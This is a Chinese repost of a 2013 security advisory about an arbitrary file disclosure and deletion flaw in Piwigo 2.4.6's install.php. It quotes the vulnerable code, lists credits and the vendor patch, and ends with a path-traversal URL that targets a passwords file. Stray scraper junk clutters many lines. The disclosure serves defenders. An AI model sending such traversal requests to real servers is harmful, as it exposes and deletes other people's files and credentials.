Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

" L. j( F: k1 Q& W( U: wPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
7 q( g3 N7 Z  ]% l====================================================================
/install.php:
-------------
; Z' E. r/ B5 n113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
, h+ F5 k: Q3 h/ |$ G/ d, C% U114: {
+ _  w; m4 m- c, Z) J% R" p115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
9 ~* E9 K8 ~8 T- p117:   header('Pragma: no-cache');
% w) z8 N  j4 @118:   header('Content-Disposition: attachment; filename="database.inc.php"');
) ~. z: I1 f2 ~- C) p  c' Q: W119:   header('Content-Transfer-Encoding: binary');
! J" T0 Q: A$ F. q120:   header('Content-Length: '.filesize($filename));
9 }. L. z. |) v' C( D9 K/ t121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a
/ W5 s8 m  _! H: ^# j4 i- R
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
6 l4 L! d/ a4 ^$ _, K  L% R                            @zeroscience
) g" w" ~! M) x
Advisory ID: ZSL-2013-5127
# @2 S3 n- D* x1 gAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

& }7 d. e* J/ F, `- ], F( D# m15.02.2013

1 X3 [$ R' T* e8 P--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% [5 D4 a7 u2 ?; U  K! }3 Q
! ^3 U: Q$ Z- S$ l